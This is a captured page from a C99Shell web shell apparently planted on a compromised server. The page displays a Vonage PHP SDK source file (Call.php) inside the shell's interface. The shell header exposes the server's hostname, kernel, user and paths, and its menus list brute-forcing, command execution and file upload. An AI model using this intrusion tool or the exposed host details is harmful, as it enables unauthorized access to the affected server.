!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_old/vendor/vonage/client-core/src/Call/   drwxr-xr-x
Free 28.88 GB of 117.98 GB (24.48%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Call.php (10.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Vonage Client Library for PHP
 *
 * @copyright Copyright (c) 2016-2020 Vonage, Inc. (http://vonage.com)
 * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0
 */

declare(strict_types=1);

namespace 
Vonage\Call;

use 
InvalidArgumentException;
use 
JsonSerializable;
use 
Laminas\Diactoros\Request;
use 
Psr\Http\Client\ClientExceptionInterface;
use 
Psr\Http\Message\ResponseInterface;
use 
RuntimeException;
use 
Vonage\Client\ClientAwareInterface;
use 
Vonage\Client\ClientAwareTrait;
use 
Vonage\Client\Exception as ClientException;
use 
Vonage\Conversations\Conversation;
use 
Vonage\Entity\EntityInterface;
use 
Vonage\Entity\JsonResponseTrait;
use 
Vonage\Entity\JsonSerializableTrait;
use 
Vonage\Entity\JsonUnserializableInterface;
use 
Vonage\Entity\NoRequestResponseTrait;

use function 
array_merge;
use function 
call_user_func_array;
use function 
is_null;
use function 
json_decode;
use function 
json_encode;
use function 
trigger_error;
use function 
ucfirst;

/**
 * Class Call
 *
 * @deprecated Please use Vonage\Voice\OutboundCall or Vonage\Voice\Call instead
 *
 * @property Stream $stream
 * @property Talk $talk
 * @property Dtmf $dtmf
 *
 * @method Stream stream($stream = null)
 * @method Talk   talk($talk = null)
 * @method Dtmf   dtmf($dtmf = null)
 */
class Call implements EntityInterfaceJsonSerializableJsonUnserializableInterfaceClientAwareInterface
{
    use 
NoRequestResponseTrait;
    use 
JsonSerializableTrait;
    use 
JsonResponseTrait;
    use 
ClientAwareTrait;

    public const 
WEBHOOK_ANSWER 'answer';
    public const 
WEBHOOK_EVENT 'event';

    public const 
TIMER_LENGTH 'length';
    public const 
TIMER_RINGING 'ringing';

    public const 
TIMEOUT_MACHINE 'machine';

    
/**
     * @var string|null
     */
    
protected $id;

    
/**
     * @var Endpoint|string|null
     */
    
protected $to;

    
/**
     * @var Endpoint|string|null
     */
    
protected $from;

    
/**
     * @var array
     */
    
protected $webhooks = [];

    
/**
     * @var array
     */
    
protected $data = [];

    
/**
     * @var array
     */
    
protected $subresources = [];

    public function 
__construct(?string $id null)
    {
        
trigger_error(
            
'Vonage\Call\Call is deprecated, please use Vonage\Voice\Client for functionality instead',
            
E_USER_DEPRECATED
        
);

        
$this->id $id;
    }

    
/**
     * @throws ClientException\Exception
     * @throws ClientException\Request
     * @throws ClientException\Server
     * @throws ClientExceptionInterface
     */
    
public function get(): self
    
{
        
$request = new Request(
            
$this->getClient()->getApiUrl() . Collection::getCollectionPath() . '/' $this->getId(),
            
'GET'
        
);

        
$response $this->getClient()->send($request);

        if ((int)
$response->getStatusCode() !== 200) {
            throw 
$this->getException($response);
        }

        
$data json_decode($response->getBody()->getContents(), true);
        
$this->jsonUnserialize($data);

        return 
$this;
    }

    
/**
     * @return ClientException\Exception|ClientException\Request|ClientException\Server
     */
    
protected function getException(ResponseInterface $response)
    {
        
$body json_decode($response->getBody()->getContents(), true);
        
$status $response->getStatusCode();

        if (
$status >= 400 && $status 500) {
            
$e = new ClientException\Request($body['error_title'], $status);
        } elseif (
$status >= 500 && $status 600) {
            
$e = new ClientException\Server($body['error_title'], $status);
        } else {
            
$e = new ClientException\Exception('Unexpected HTTP Status Code');
        }

        return 
$e;
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws ClientException\Exception
     * @throws ClientException\Request
     * @throws ClientException\Server
     */
    
public function put($payload): self
    
{
        
$request = new Request(
            
$this->getClient()->getApiUrl() . Collection::getCollectionPath() . '/' $this->getId(),
            
'PUT',
            
'php://temp',
            [
'content-type' => 'application/json']
        );

        
$request->getBody()->write(json_encode($payload));
        
$response $this->client->send($request);
        
$responseCode = (int)$response->getStatusCode();

        if (
$responseCode !== 200 && $responseCode !== 204) {
            throw 
$this->getException($response);
        }

        return 
$this;
    }

    public function 
getId(): ?string
    
{
        return 
$this->id;
    }

    
/**
     * @param Endpoint|string|null $endpoint
     */
    
public function setTo($endpoint): self
    
{
        if (!(
$endpoint instanceof Endpoint)) {
            
$endpoint = new Endpoint($endpoint);
        }

        
$this->to $endpoint;
        return 
$this;
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws ClientException\Exception
     * @throws ClientException\Request
     * @throws ClientException\Server
     */
    
public function getTo(): Endpoint
    
{
        if (
$this->lazyLoad()) {
            return new 
Endpoint($this->data['to']['number'], $this->data['to']['type']);
        }

        return 
$this->to;
    }

    
/**
     * @param Endpoint|string|null $endpoint
     *
     * @return $this
     */
    
public function setFrom($endpoint): self
    
{
        if (!(
$endpoint instanceof Endpoint)) {
            
$endpoint = new Endpoint($endpoint);
        }

        
$this->from $endpoint;

        return 
$this;
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws ClientException\Exception
     * @throws ClientException\Request
     * @throws ClientException\Server
     */
    
public function getFrom(): Endpoint
    
{
        if (
$this->lazyLoad()) {
            return new 
Endpoint($this->data['from']['number'], $this->data['from']['type']);
        }

        return 
$this->from;
    }

    public function 
setWebhook($type, ?string $url nullstring $method null): ?self
    
{
        if (
$type instanceof Webhook) {
            
$this->webhooks[$type->getType()] = $type;

            return 
$this;
        }

        if (
is_null($url)) {
            throw new 
InvalidArgumentException('must provide `Vonage\Call\Webhook` object, ' .
                
'or a type and url: missing url');
        }

        
$this->webhooks[$type] = new Webhook($type$url$method);

        return 
$this;
    }

    
/**
     * @param string|int $length
     */
    
public function setTimer(string $type$length): void
    
{
        
$this->data[$type '_timer'] = $length;
    }

    
/**
     * @param string|int $length
     */
    
public function setTimeout(string $type$length): void
    
{
        
$this->data[$type '_timeout'] = $length;
    }

    public function 
setNcco($ncco): self
    
{
        
$this->data['ncco'] = $ncco;

        return 
$this;
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws ClientException\Exception
     * @throws ClientException\Request
     * @throws ClientException\Server
     */
    
public function getStatus()
    {
        if (
$this->lazyLoad()) {
            return 
$this->data['status'];
        }

        return 
null;
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws ClientException\Exception
     * @throws ClientException\Request
     * @throws ClientException\Server
     */
    
public function getDirection()
    {
        if (
$this->lazyLoad()) {
            return 
$this->data['direction'];
        }

        return 
null;
    }

    
/**
     * @throws ClientExceptionInterface
     * @throws ClientException\Exception
     * @throws ClientException\Request
     * @throws ClientException\Server
     */
    
public function getConversation(): ?Conversation
    
{
        if (
$this->lazyLoad()) {
            return new 
Conversation($this->data['conversation_uuid']);
        }

        return 
null;
    }

    
/**
     * Returns true if the resource data is loaded.
     *
     * Will attempt to load the data if it's not already.
     *
     * @throws ClientExceptionInterface
     * @throws ClientException\Exception
     * @throws ClientException\Request
     * @throws ClientException\Server
     */
    
protected function lazyLoad(): bool
    
{
        if (!empty(
$this->data)) {
            return 
true;
        }

        if (isset(
$this->id)) {
            
$this->get();

            return 
true;
        }

        return 
false;
    }

    
/**
     * @param $name
     *
     * @noinspection MagicMethodsValidityInspection
     */
    
public function __get(string $name)
    {
        switch (
$name) {
            case 
'stream':
            case 
'talk':
            case 
'dtmf':
                return 
$this->lazySubresource(ucfirst($name));
            default:
                throw new 
RuntimeException('property does not exist: ' $name);
        }
    }

    
/**
     * @param $name
     * @param $arguments
     */
    
public function __call($name$arguments)
    {
        switch (
$name) {
            case 
'stream':
            case 
'talk':
            case 
'dtmf':
                
$entity $this->lazySubresource(ucfirst($name));
                return 
call_user_func_array($entity$arguments);
            default:
                throw new 
RuntimeException('method does not exist: ' $name);
        }
    }

    protected function 
lazySubresource($type)
    {
        if (!isset(
$this->subresources[$type])) {
            
$class 'Vonage\Call\\' $type;
            
$instance = new $class($this->getId());
            
$instance->setClient($this->getClient());
            
$this->subresources[$type] = $instance;
        }

        return 
$this->subresources[$type];
    }

    public function 
jsonSerialize(): array
    {
        
$dataA $this->data;
        
$dataB = [];

        if (isset(
$this->to)) {
            
$dataA['to'] = [$this->to->jsonSerialize()];
        }

        if (isset(
$this->from)) {
            
$dataA['from'] = $this->from->jsonSerialize();
        }

        foreach (
$this->webhooks as $webhook) {
            
$dataB[] = $webhook->jsonSerialize();
        }

        return 
array_merge($dataA$dataB);
    }

    public function 
jsonUnserialize(array $json): void
    
{
        
$this->data $json;
        
$this->id $json['uuid'];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--